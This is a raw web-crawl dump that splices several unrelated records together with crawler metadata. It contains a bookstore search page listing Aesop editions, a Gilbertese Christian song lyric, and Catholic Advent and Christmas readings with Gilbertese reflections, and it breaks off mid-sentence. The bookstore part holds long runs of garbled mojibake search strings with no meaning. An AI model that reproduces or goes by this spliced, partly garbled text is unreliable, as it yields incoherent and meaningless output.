and Critical Edition of a Seminal Document in Modernist Aesthetics\nby Michio Ito\nEzop. Basni\nby Aesop\nEzofove Basne: Aesop's Fables, Bosnian edition\nby Aesop\nFabulat e Ezopit\nby Aesop\nBajki Ezopa: Aesop's Fables, Polish edition\nby Aesop\nEzopo Pasakos: Aesop's Fables, Lithuanian edition\nby Aesop\nEzopa Fabulas: Aesop's Fables, Latvian edition\nby Aesop\nEzopovy Bajky: Aesop's Fables, Czech edition\nby Aesop\nEzofove Basni: Aesop's Fables, Slovenian edition\nby Aesop\nEzopsi Muinasjutud: Aesop's Fables, Estonian edition\nby Aesop\nPhonetic Transcription Symbols: Eth, Yogh, Theta, Beta, Chi, N, Ae, O, , , O, D with Stroke, Tie, Esh, , Ezh, Bilabial Clicks, Eng,\nby Books LLC\nEzekiel: With an Excursus on Old Testament Priesthood\nby Aelred Cody\nKthma EZ AEI\nby A L Irvine\nEz AED\nby American Heart Association\nRecent Book\nReading Reconstruction: Sherwood Bonner and the Literature of the Post-Civil War South\nTexas Splendor\nThe War of Darkness\nPolarity #2\nGriekse mythen\nFor 100 Nights\nComfort Woman\nNever Let You Fall\nThe Iron Door Mine\nThe European Reformations\nRecent Search\nae aaµe aszc ez aae ae c a ae ae ae e a z m o46 moo2 7 ce ae ea ae ae c ez aae e ae ae a e ae c\nae aea ae ae a 24ezae a c ez aae a s e ae ae az e c ae ae e a zh63 mss798 som ae aea ey ey aezai i aaaaaaaaaaaaェc ez a c e 2019 04 17 07 13ae aea ae aea ae aea c e ezzea a s eza a c c a torrentae aea\nae aaµe aszc ez aae c e ae e ae ae e a z po 34 po o34 ce ae ae ae a c ezza csa eza a sae ae a c ae aaµa a ae y 2019 03 10 13 06ae aaµe aij ae ae a eza a ae ae a c ae e gae ae c ae ae ae a c e aaaº cs ae ae ae a c e a ae sez ae ae a c eza a ae aaµ\ne ae a se 24e asa s e as e a ae a ae 63 ptk455 som e asa se c e e aaaaaaaaaaaaaaコ aez e 2019 04 17 09 47 e e eaa e as e ae ewc ps\ni i a i a iz iae aaaaaaaaaaaaa\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i a i i i a i i i a i i aaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ne i i a iz i e e e 24i a i a iz iae aaaaaaaaツ e i i a iz i a e is i i wyk92 ptk455 som e i e i eaaaaaaaaツ i tumblrcrt2019 03 07 00 27 dke i a i e i a iz e a e 2de i\nae aaµe aszc ez aae c e ae e ae ae e a z po 34 po o34 ce ae ae ae a c ezza csa eza a sae ae a c ae aaµa a ae y 2019 03 10 13 06ae aaµe aij ae ae a eza a ae ae a c ae e gae ae c ae ae ae a c e aaaº cs ae ae ae a c e a ae sez ae ae a c eza a ae aaµe\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i a i i i a i i i a i i aaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nez ae ezseae a ae e e ae sce ezaea a ae e e e ae ae e a gmvcs com h zfs2019 03 07 00 05e as ae sae sae ezsaea a ezse a w2q ey a a a ez e e ae ae aea e 3ae aaaaaa twm\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n30 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/hiltonbooks.com\/search\/ez-ae-ezseae-a-ae-e-e-ae-sce-ezaea-a-ae-e-e-e-ae-ae-e-a-gmvcs-com-h-zfs2019-03-07-00-05e-as-ae-sae-sae-ezsaea-a-ezse-a-w2q-ey-a-a-a-ez-e-e-ae-ae-aea-e-3ae-aaaaaa-twm.html","date":"2020-05-26T12:38:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390758.21\/warc\/CC-MAIN-20200526112939-20200526142939-00390.warc.gz","language":"gil","language_score":0.7154606581,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.7154606580734253, \"iso_Latn_score\": 0.08054772764444351, \"syl_Latn_score\": 0.04360909014940262, \"czt_Latn_score\": 0.03401413559913635, \"smo_Latn_score\": 0.03272043541073799, \"sco_Latn_score\": 0.02181335724890232}","num_words":1022,"character_repetition_ratio":0.097,"word_repetition_ratio":0.401,"special_characters_ratio":0.292,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":0.639,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Ngkana I tarai anuani maiumi (Te nano ae ti teuana n reitakira ma Christo)\nAo n angin te tai, I bon tabeakinai ti ngai\nTamau ma tinau kabwarai bureu\nBwa nna aki manga bure nakoimi\nAu kairua nikabane inanon maiu ana reke bwa reireiau\nBwa I aonga ni kona n reitaki ma ngkami ma raoraou nikabane\nTe nano ae ti teuana n tangira ma Christo\nIesu, kabwarai buren aroaraou nikabane\nReiereiai bwa nna maiuna te maiu ae e raoiroi\nTe maiu are e na karikirakea tangirau irouia au karo\nTe tangira ni koaua are e na reitai ma tariu ao mwaneu\nBwa I aonga ni kona n reitaki ma ngkami ma raoraou nikabane\nTe nano ae ti teuana n reitakira ma Christo","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/10\/25\/ngkana-i-tarai-anuani-maiumi-te-nano-ae-ti-teuana-n-reitakira-ma-christo","date":"2020-10-25T00:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885059.50\/warc\/CC-MAIN-20201024223210-20201025013210-00641.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":122,"character_repetition_ratio":0.111,"word_repetition_ratio":0.159,"special_characters_ratio":0.198,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nTuesday-The Fifth Day in the Octave of Christmas\nReading 1: 1 JN 2:3-11\nBeloved: The way we may be sure that we know Jesus is to keep his commandments. Whoever says, \"I know him,\" but does not keep his commandments is a liar, and the truth is not in him. But whoever keeps his word, the love of God is truly perfected in him. This is the way we may know that we are in union with him: whoever claims to abide in him ought to walk just as he walked.\nBeloved, I am writing no new commandment to you but an old commandment that you had from the beginning. The old commandment is the word that you have heard. And yet I do write a new commandment to you, which holds true in him and among you, for the darkness is passing away, and the true light is already shining. Whoever says he is in the light, yet hates his brother, is still in the darkness. Whoever loves his brother remains in the light, and there is nothing in him to cause a fall. Whoever hates his brother is in darkness;\nhe walks in darkness and does not know where he is going because the darkness has blinded his eyes.\nResponsorial Psalm: PS 96:1-2A, 2B-3, 5B-6\nR: Let the heavens be glad and the earth rejoice!\nSing to the LORD a new song; sing to the LORD, all you lands.\nSing to the LORD; bless his name. R.\nAnnounce his salvation, day after day. Tell his glory among the nations;\namong all peoples, his wondrous deeds. R.\nThe LORD made the heavens. Splendor and majesty go before him;\npraise and grandeur are in his sanctuary. R.\nAlleluia, alleluia.\nA light of revelation to the Gentiles and glory for your people Israel. Alleluia.\nGospel LK 2:22-35\nWhen the days were completed for their purification according to the law of Moses, the parents of Jesus took him up to Jerusalem to present him to the Lord, just as it is written in the law of the Lord, Every male that opens the womb shall be consecrated to the Lord, and to offer the sacrifice of\na pair of turtledoves or two young pigeons, in accordance with the dictate in the law of the Lord. Now there was a man in Jerusalem whose name was Simeon.\nThis man was righteous and devout, awaiting the consolation of Israel, and the Holy Spirit was upon him.\nIt had been revealed to him by the Holy Spirit that he should not see death\nbefore he had seen the Christ of the Lord. He came in the Spirit into the temple;\nand when the parents brought in the child Jesus to perform the custom of the law in regard to him, he took him into his arms and blessed God, saying:\n\"Lord, now let your servant go in peace; your word has been fulfilled: my own eyes have seen the salvation which you prepared in the sight of every people, a light to reveal you to the nations and the glory of your people Israel.\"\nThe child's father and mother were amazed at what was said about him;\nand Simeon blessed them and said to Mary his mother, \"Behold, this child is destined for the fall and rise of many in Israel, and to be a sign that will be contradicted (and you yourself a sword will pierce) so that the thoughts of many hearts may be revealed.\"\nTibatiba: E a roko Otan Raneanean te Atua ae na Kaota te Koaua nakoia Bekan ao te Karaoiroaki nakon Aonnaba\nMauri tariu ao maneu inanon te Kiritimatu aio ao bon au kantaninga ba kam a bon tia ni katonga kakukurein, raoin ao te kamaiuaki inanon te Kiritimati .\nN te bon aio ao ti a manga tuangaki n te moan wareboki aron te Ota are bon Iesu te Tei are bungikai nakoira are bonii Ngaia Otan Reneanean te Atua ae kaota nakoira kororaoin te Koaua are bon te Atua ae riki n iriko ao E a maeka ibuakora. Ba te Atua are raba ngkoa ao e tataekinaki irouia Burabeti E a kaoti Rabatana iroun Iesu te Tei ba ti aonga ni kona n nora te Atua ni matara ao n aki manga kakewekewe ma ti na bane ni kakoaua ao n onimaki. E roko Iesu ba e na kaota te koaua are ti na bane ni kamaiiaki Irouna ao ti na anganaki te neboaki ngkana ti roko ni kororasoin te kamauiaki Iroun Iesu are Natin te Atua.\nTariu ao maneu n te ewangkerio n te bong aio ao ti ongora aron taekan Iesu ngke e kaotaki n te temboro n reitaki ma te tua are e na kabureaki te nati te mane nakon te Atua. Aio bon te kaotioti nakoia aomata ba Iesu are kaotaki n te temboro bon Natin te Atua are a kaman taekinaki rongorongona ba Ngaia Natin te Atua are na roko ba e na kamaiua aontnaba. Boni Ngaia a are e maiu Tamnein te Atua inanona are kaitibo ma Tamnein te Atua are inanon Simeon are tuangaki ba e na aki mate ni karokoa ae e nora te Messia. Eng bon te kaitibo n tamanei aio ae kaota te koaua nakon te aonnaba ba e a roko ibuakora te Atua ae te tia kamaiua aonnaba. Ngkana ti taekinna ba ti tei ibukin te Koaua ao ngkanne ti riai n riki ngaira ba bon bannan ao katotongan te Kristo n arora ni maiu kabana akoia tarira ma manera ni kabane..\n- Details\n- Written by Uriam Timiti\n-\nWiki 4 n Avenete Kaabong\nWarekan ana kauoua ni Boki Tameura: 7: 1 – 5, 8 - 11, 16\nE tekateka Tawita n ana auti i Ierutarem, ba E anganna te rau te Uea, ngke E kamaunaia ana kairiribai ni bane ake a otabaninia. Ao e kangai Tawita nakon Natan: \"Noria, I maeka n te auti ae te tita, ao e maeka ana ati te Atua i an umana.\" E taku Natan nakoina: \"Karaoi bai ni kabane aika ko iangoi, ba bon raom te Uea.\"\nMa ngke e a bong, ao e roko ana taeka te Uea iroun Natan, ni kangai: \"Nako, tuanga au tabonibai ae Tawita ni kangai: Aei ana taeka te Uea: Tao boni ngkoe ae ko na katea umau ae N na maeka iai? Boni Ngai are I weteiko man am nanai ngke ko rumuia tibu, ba kona kaira au botanaomata ae Iteraera. I a tia n raoniko n am makuri ni kabane, ao I taonia am kairiribai i maim. N na kakanatoa aram n ai aroia akana moa ni kakanato i aon te aba. N na karekea nnen au botanaomata ae Iteraera, ao N na unikiia iai, ao a na tekateka iai n aki manga maku; ao a na aki manga roko tani ioawa ni bainikirinia, n ai aroia ngkoa, ngke I kateia tani moti i aon au botanaomata ae Iteraera. N na kamaunaia am kairiribai ni kabaneia. E kaongoko te Uea ba E na katea am auti. E na teimatoa n aki toki am auti ma ueam i matau, e na matoa n aki toki am kaintokanuea.\nTe Taramo 88: 2 – 5, 27, 29\nKaekana: N na aki toki n neboa ana Raoi te Uea\nTe Uea, N na anenea am akoi n aki toki, N na kaota am koaua n roro nako.\nI kangai: E tei te tangira n aki toki, Ko katea am koaua i karawa. K.\n\"I berita ma teuare I rineia, I tuea nakon au toro ae Tawita:\nN na kawakina am kariki n aki toki, I katea am kaintokanuea i bukin roro nako.\" K.\nE na weteai ni kangai: \"Tamau, Atuau ae au Ba ni kamaiu.\"\nN na kawakina tangirana n aki toki, e na teimatoa au berita ma ngaia. K.\nAlleluia, alleluia.\nNakomai, Emmanuera, ae ara Uea ma ana Tia Moti: kamaiuira, te Uea ae Atuara. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 1: 67 – 79\nNgke e bungiaki Ioane te Tia Babetito, ao e kaonaki n te Tamnei ae Raoiroi Takaria are tamana, ao e taetae ni burabeti ni kangai:\nE na karaoiroaki te Uea ae Atuaia Iteraera, ba E kawara ana botanaomata ni kamaiua; ao E kateirakea te maka ni kamaiu i nanon ana utu Tawita ae ana toro, n ai aron are E taekinna rimoa ni wia burabeti ni ikawai ake a raoroi, ba E na kamaiura mairouia aiara ao mai nanoni baia tan ribaira ni kabaneia. E kaota ana nanoanga nakoia ara bakatibu, ao E uringa naba ana berita ae raoiroi, are E taetae n tuea iai nakon Aberaam are Tamara ba E na anganira te aki maku ao te kamaiuaki mairouia aiara, ao ti na toro irouna n te raoiroi ma te eti ni kabanei ara bongi ni maiu.\nAo ngkoe, ae te ataei, ko na araki ba ana burabeti Teuare Moan te Rietata, ba ko na rimoan te Uea ni kataua kawaina, ma n angan ana botanaomata atakin te kamaiu ni kabaran ara bure.\nBon uan ana akoi ma ana nanoanga Atuara, ae na karekea Otin Taai ba e na kawarira mai ieta, ao E na kaotaia akana tekateka i nanon te ro ao n nun te mate, ba E na kairira ni kawain te raoi.\nTibatiba: Nakomai, Emmanuera, ae ara Uea ma ara Tia Kamaiu\nAkea ba ti riangf roko inanon te Kiritimati are E nang bungiaki iai nakoira Iesu te Tei ae Natin te Atua ae moan te maka mani mimitong ba boni Ngaia te Atua are a karikaki bai nako Irouna ao Ibukina. Akea ba e nang roko te aoi n te karangaiana are nang kamauia aonnaba are E na uota te Raoi bnakoira ni kabane aika a raoiroi nanora. Ti na bane ni butimaea Iesu te Merimeri are nang anganira te mweraoi ao te kukurei ba e nang maeka ibuakora.\nBon aio te tai are ti nang katonga iai kororaoin te te kamaiuaki iroun Iesu are boni Ngaia ara Uea ao ara Tia Moti are e na tautaeka inanon te Koaua ma te Eti; are na kawakinira mairouia aiara ba ti aonga ni maeka inanon te raoi ao te kimareirei.\nN te moan wareboki ao ti ongora aron ana babaire te Atua n rinea Tawita ba e na katea Umana ae moan te Tabu ba E aonga te Atua ni maeka ibukia ana botanaomata. Bon aio anuan te Atua are ti katonga n tai nako ngkana E maeka ibuakora ao ti butimaia ba E na maeka inanora.\nTariu ao maneu n aron are e bon aki reke ngkoa nnen Iesu are na bungiaki iai ba a bane ni kebo auti ao ngaira ti bia kauki nanora ba e na bungikai Iesu inanora n te bong aio ba ti aonga ni katonga te Rau ma te Raoi are uotia Iesu te Tei n te Kiritimati aio.\n- Details\n- Written by Uriam Timiti\n-\nWiki 4 n Avenete Kauabong\nWarekan ana moa ni Boki Tamuera. 1: 24 – 28\nNgke e a tia ni kakorira natina ae Tamuera, ao e nako Anna, ma uotana te kao mane ae tenua ana ririki ao teuana te eba ni burawa ao te batoro ni uain, ao e rin n ana Temboro te Uea i Tiro, ao bon raoia te ataei. Ao e kamateaki te kao mane, ao e kawara Eri tinan te ataei. Ao e taku: \"Taiaoka, au toka; ngkai ko maiu, au toka, ao boni ngai te aine are tei i rarikim ngkoa ikai, n tataro nakon te Uea. I tataro i bukin te ataei aei, ao E ongo au bubuti te Uea. Ao ngkai, I kaburea nakon te Uea ni kabanei ana bongi ni maiu. E kabureaki nakon te Uea.\"\nTe Taramo 1 Tamuera 2: 1, 4 – 8\nKaekana: E kukurei nanou iroun te Uea ae au Tia Kamaiu.\nE kukurei nanou iroun te Uea, e reke korakorau iroun te Atua.\nI ngareakinia au kairiribai, ba I kabaia ni buokau iroum. K.\nA maoto aia kainikatebe uake a maka, a niraki n te korakora uake a mamara.\nA makuri i bukini kanaia, uake a nuai, a aki manga makuri, uake a baki. K.\nItiman natin neiere e kanoabo, e a mamara neiee kakariki.\nBon te Uea ae anga te maiu ma te mate,E karokoa te aomata i tiore ma ni kaokia. K.\nBon te Uea ae anga te kainano ma te kaubai, E karinanoa te aomata, ao E karietaa.\nE tabeka ane mangori man te tano, E tabeka ane kainnano man te mange. K.\nE katekatekaia i buakoia uea, E anganaia te kaintokanuea ae mimitong.\nBa ana bai te Uea bouan aonaba, E kaota aon te aba iai. K.\nAlleluia, alleluia.\nNakomai, aia Uea botanaomata, Ae Ko botia aomata ni katiteuanaia:\nKamaiua te aomata ae Ko karikia. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka: 1: 46 – 56\nE katituaraoa te Uea Nei Maria ni kangai: E neboa e Uea tamneiu; ao e kimareirei nanou iroun te Uea ae au Tia Kamaiu. Ba E mutiakina neie ana toro ae mangori; ao akea ba a na bane roro ngkai n atongai ba I a kabaia. E akoia akana makua i nanon roro ma roro. E kaota makani baina, E kamaenakoia akana iango ni kainikatonga. E kabakaia akana maka man aia kaintokanuea, ao E karietaia akana mangori. E kanuaia akana kainnano, E kaokia kaubai n akea aia bai. E kamaiua ana tabonibai ae Iteraera ba E uringa ana akoi, are akoan Aberaam ma ana kariki nako n ai aron ana teaka nakoia ara bakatibu. Ao e tiku Maria iroun Eritabeta, tao teniua namakina, ao e a okira abana.\nTibatiba: Te kareanaki nakon te Uea ba ti na maiu Ibukina\nMauri tariu ao maneu inanon te tai ae e nang totoki tauin te Avenete ba ai ti uoua riki te bong. N te bong aio n te moan wareboki ao ti ongo taekan te aine temanna are airi ma natina ao karea n angakarea ni karaba te Uea ngkai e a tia ni kaeka ana tataro ni bubuti nakon te Atua ba e na anganaki natina te maane are na kona ni kareanna nakon te Atua ba e na bainaki iroun te Uea ibukin kakaraoan Nanona. Ba tao ngkoa ngke moan bubuti ba e na anganaki natina are bon akea ngkoa ao ngkai e a bon karabaraba ba e a tia n anganako natina are e a tauraoi ni kareanna nakon te Uea.\nTariu ao maneu bon aio te bai ae ti nang noria inanon te Kiritimati ba te Atua E nang kakoroaki bukin ana berita ma te aonnaba ba e na kanakoa Natina ae te Rikitemanna ba e na ruo nako aonteaba ba e na uota te kamaiuaki nakon ana botanaomata are a tia ni baka n aia bure ara moan karo. Ai kamimira aron ana iango te Atua ibukira ba e kan manga kaokira nakoina ba ti na bane n natinaki ao n riki ba taan baibai irarikin Natina ae Iesu. E ngae ngke akea rakan arona ngkana ti kamaiuaki ma e bon tauraoi n anga Natina ba e na riki ba te karea ae kororaoi ibukin kabaran ara bure. N tain te Kiritimati aio ao ti a bon kauki nanora n nora ana karea te Atua ibukira ao n tauraoi naba ni kaeka ana tangira ao ana nanoanga ni kaburei naba maiura nakon te Atua. Ti na tauraoi ni kareani maiura nakon te Atua ba ti na riki ba ana bai ngaira aika ti tauraoi ni kakaraoa Nanona n tai nako. Ti na reitira ma tinara Nei Maria ba e na anganira nanona n tauraoi n anga naba Natina ae Iesu inanon Kiritimati ao ti na butimaia nako nanora ao ti na karikia ba ara Uea ma ara tia Kamaiu.\n- Details\n- Written by Uriam Timiti\n-\nWiki 4 n Avenete Katenibong\nWarekan ana Boki te burabeti ae Maraki: 3: 1 – 4, 23 – 24\nE kangai te Uea ae te Atua: Ae N nang kanakoa au aomata ba e na kaitiaka te kawai i maaiu. E na rin n umana ae tabu te Uea ae kam kariaria, ao e nangi roko aneran te berita ae kam tangiria. Bon ana taeka te Uea. Antai ae na kona ni maiu n ana tai n roko? Antai ae na kona n tei ngkana e a kaoti? Ba ai aron ana ai te tia kaburo kunnikai. E na tekateka n ai aron te tia kaburoburo ma te tia kaitiaki. E na kaitiakiia natin Rewi, ao E na kaburoia n ai aron te koora ma te tirewa, ao a na riki ba tani uota te karea i matan te Uea n ai aron ae riai. E na butimaeaki ngkanne ana karea Iuta ma Ierutarem, n ai arona ni bong ake ngkoa ao n ririki ake rimoa. N na kanakoa Eria nakoimi i main rokon au Bong ae kakanato ma ni kakamaku. E na rairi nanoia karo nakoia natia, ao nanoia nati nakoia aia karo, ba I kawa n roko n orea te aba n te kateke buaka.\nTe Taramo 25: 4 – 5, 8 – 10, 14\nKaekana: Tararake, ba e a kaan kamaiuami.\nTe Uea, tuangai am kawai, te Uea, reireiai kawaiu.\nKairai i nanon te koaua, kaotaai, boni Ngkoe te Atua ae au tia kamaiu. K.\nE akoi te Uea, ao E eti: E kaota te kawai nakoia tani bure,\nE kairia akana nanorinano n te eti, E reireinia kainnano ana kawai. K.\nAna kawai bon te akoi ma te koaua, i bukia akana kawakina ana berita ma ana moti.\nE iraorao te Uea ma akana makua, E kaota ana berita nakoia. K.\nAlleluia, alleluia.\nNakomai, Emmanuera, ae ara Uea ma ara Tia Moti: kamaiura, te Uea ae Atuara. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 1: 57 – 66\nNgke e koro ana tai ni bung Eritabeta, ao e bungia natina te mane. Ao a ongo raona ma kain ana utu ba E kabatia ana nanoanga te Uea nakoina, ao a raonna ni kimareirei. I muni wanibong, ao a roko i bukini korotobibian te tei. Ao kan aranna ba Takaria ba ingoan tamana. Ma e kaekaia tinana ni kangai: \"Tiaki. E na aranaki ba Ioane.\" Ao a kangai nakoina: \"Bon akea te ara anne n am utu.\" Ao a titirakina tamana ba antai te ara ae e na aranaki iai. Ao e karokoa te baba ni koroboki, ao e korea ae kangai: \"Ioane arana.\" Ao a bane ni mimi iai. Ao akea ba e ure wina, ao a bara newena, ao e taetae ni karaoiroa te Atua. Ao e rotiia kain te tabo arei ni bane te maku, ao e buta maungani Iutaia n taekani baikanne nikabane. Ao aomata ni bane ake a ongo, a kawakina uringana, ao a taku: \"Ai tera aron te ateai ae rimui?\" Ba e mena bain te Uea i aona.\nTibatiba: Tararake, ba e a kaan kamaiuami\nTariu ao maneu e a reitaki rongorongon Kiritimati n te bong iaon kororaoin te kamaiuaki ae na reke nakoira ngkana ti katauraoi raoi ni butimaea Iesu te Tei are nang bungiaki nakoira. Ba inanon ara katauraoi imain rokon Iesu ao ti riai n ongo ao ni makuria kanoan banan St Ioane te tia Babetito are e weteira nakon te babetito n rairannano ni kaeta ao ni kaboraoa kawain te Uea. Ti na teea te tabukibuki ao ti na kanoai ao ni kaboraoi taian marua are nanona ba ti riai ni karenakoi nanora ni kamoamoa ao ni kainikatonga ao ti na riai naba tauraoi ni karasoi makuri aika a raoiroi ngkana a kainanoaki. N ara katauraoi aikai ao ti na kona ni butimaea Iesu te Tei inanon te itiaki ao te kimareirei. Ma bon aio interan te katauraoi are ti weteaki nako iai inanon te avenete ma ae kakawariki riki ba ara katauraoi ni butimaea Iesu ni kaua okina ngkana e nang roko inanon te maaka ma te korakora ba E nang motika taekan aonnaba. Inanon ara katauraoi ni butimaea kaua okin Iesu ao ti riai n ongo ana wewete te Uea nakon te rairannano are ti weteaki iai irouia ana aomata te Uea ake e taetae irouia. Bon aikai aomata are a na kaitiakira ni karaneaneaira ao ni kabuekira ba aonga n nako barekarekara n ai aron te kora ma te tirewa are riai ni kabuekaki ba e aonga n nako te bareka ao n tiku te tamaroa ma te raneanea.\nTariu ao maneu bon aio te rongorongo nakoira ae kakawaki inanon te Kiritimat aio ba ti riai ni karekea kororaoin te kamaiuaki are e roko Iesu ba e na anganira n aron Nanon te Atua te Tama. Ti na bubutia te Atua te wanawana ni koaua n iangoa reken are bon te oinibai are bon te kamaiuaki ae akea tokin i Karawa ngkai ao n aki totoki.Ti riai n te tai aio n tararake ao nora te kamiuaki are E na angnira Iesu te Tei iroun Tinana ao tinara ae Nei Maria.\n- Details\n- Written by Uriam Timiti\n-\nWiki 4 n Avenete Moanibong\nWarekan te Boki ae te Anene. 2: 8 – 14\nI ongo teuare I tatangiria. Noria, e nakomai, E ewewe riaoni maunga, e kibakiba riaon tabuki. Ai aron te anterobe teuare I tatangiria, ai aron te ria te tei.\nNoria, e a tei i akun ara o. E kaninganinga n te kamama, e taratara n te warawara.\nE taetae teuare I tatangiria, e kangai nakoiu: \"Teirake, ngkoe au tangira, ngkoe te tamaroa, nakomai. Noria, e a toki tain te kamariri, e a moti ma ni mauna te karau. A raure uen abara, e a roko tain te anene; e oti banan te turukon i abara. E katei ua te biku, e kia boiararan te kainikurebe. Nakomai, ngkoe au tangira, ngkoe te tamaroa, nakomai. Au taobe ae ko raba n tabwenan te aba, n rabeni maunga, kaota matam ao kaongongo banam, ba e kamaiu banam, ao e kakateke matam.\"\nE kona n oneaki muin te Wareboki anne n te Wareboki aei:\nWarekan ana Boki te burabeti ae Tebania:L 3: 14 – 18\nNeie natin Tion, takarua ni kukurei, Iteraera, takaka ni kimareirei! Natini Ierutarem, kabanea nanom ni kakatonga n tokanikai! E kamauna rekeni kaim te Uea, E kaoka nako aiam. Te Uea i nanom bon aia Uea Iteraera, tai manga maka te kabuanibai.\nN tebong anne, ao e na kangai te taeka nakoni Ierutarem: Tion, tai maku, ke a tai mate baim. E mena i nanom te Uea ae Atuam ae te tia tokanikai ma te tia kamaiu.\nTe Taramo 33:2 – 3, 11 – 12, 20 – 21\nKaekana: Anenea te Uea n te kuna ae bou.\nKatituaraoa te Uea ma te abi, Katanga te raea ae tengauni karaina.\nAneneia n te kuna ae bou, Rungarungaia n ami katangitang. K.\nE teimatoa n aki toki ana baire te Uea, Ao motin nanona n roro nako.\nE kabaia te botanaomata ae Atuana te Uea, ma te aba ae E rineia ba ana bai. K.\nA kantaninga te Uea tamneira, Boni Ngaia buokara ma otangara;\nBoni Ngaia kukurein nanora, Ti onimakina arana ae tabu. K.\nAlleluia, alleluia.\nNakomai, te Karangaina, Raneanean te ota ae akea tokina, taai ae te eti, Kaotaia akana tekateka n te ro ao n te mate. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 1: 39 – 45\nE mananga Maria, ao e kawaekoa nakon te aba ae maungaunga, nakoni kawani Iuta teuana. Ao e rin n ana auti Takaria, ao e kamaura Eritabea. Ngke e a tiba ongo ana kamauri Maria Eritabea, ao e kakamakuri te tei i nanoni birotona. Ao e kaonaki Eritabeta n te Tamnei ae Raoiroi, ao e takarua ni kangai: \"Ko karaoiroaki i buakoia aine, ao e karaoiroaki uani birotom. E kanga naba n reke irou Kawarau iroun Tinan au Uea? Ba noria, ngke e a tiba rota taningau am kamauri, ao e kakatei natiu ni kimareirei i nanou. E kabaia neie onimaki, ba e na koro bukin te taeka are e tuangaki mairoun te Uea.\"\nTibatiba: Nakomai, ngkoe au tangira, ngkoe te tamaroa, nakomai\nTariu ao maneu bon aio te Uea ae e wewete nakoira inanon totokin wikin te Avenete ngkai ao e ang roko te Kiritimati ae ti nang butimaea iai Iesu ae nang bungiaki nakoira. Aio bon banan te Uea nakoira ba ti Nakoina Ngaia are tatangirira ao are mate nanona iroura. Ti a tia ni waki inanon te Avenete ni katauraoira nakon te tai aio are ti nang nora iai te Merimeri ae na kawarira ao are e kainanoa ara tangira ma ara akoi ngkai bon te merimeri ae uarereke ae akea te bai ae kona ni karaoia. Aio te tai are a nang ruo iai anera ni kaongoira te rongorongo ae moan te kakukurei ba e a bungiaki Iesu te Tei.\nTi na butua Nei Maria n te tai aio ba e na karekea ara tai n toba Natina ba ti na kaboroa nakoina ara tangira ma ara akoi. Ti na katauraoira ni koaua nakon te tai ae kakawaki are ti na kawara Iesu Tei Tei n ana tabo are na wene iai n te Umantabu ao ti na butia Nei Maria ba e na kariaia ba ti na toba Iesu Te Tei.\nAkea ba e a roko te tai ae moan te kakukurei are ti na namakina ao ni katonga oao te kimareirei ao te kukurei ba E a roko te Toa Kamaiu nakoira iroun Natin te Atua are te tia anganira kororaoin te kamaiuaki ae akea tokina.\nTi na karokoa te rongorongo ae kakukurei aio nakoia tarira ao manera ba a aonga n reke naba tibangaia n tain te Kiritimati aio. Ba e roko Iesu tiaki ti ibukia aika marurung ma bon ibukira took ngaira aika ti kainnano mani mamara. Ti na reitaki ma Anera i Karawa n neboa te Ura n ara anene are kangai;\"Ena neboaki te Atua ieta i Karawa ao te raoi i aonnaba nakoia aomata aika nanoraoi.\"","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=15","date":"2021-01-21T17:00:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00073.warc.gz","language":"gil","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000079870224}","num_words":4228,"character_repetition_ratio":0.042,"word_repetition_ratio":0.001,"special_characters_ratio":0.233,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nThursday wk2-Memorial of Saint Agnes, Virgin and Martyr\nReading I Heb 7:25—8:6\nJesus is always able to save those who approach God through him, since he lives forever to make intercession for them. It was fitting that we should have such a high priest: holy, innocent, undefiled, separated from sinners, higher than the heavens.\nHe has no need, as did the high priests, to offer sacrifice day after day, first for his own sins and then for those of 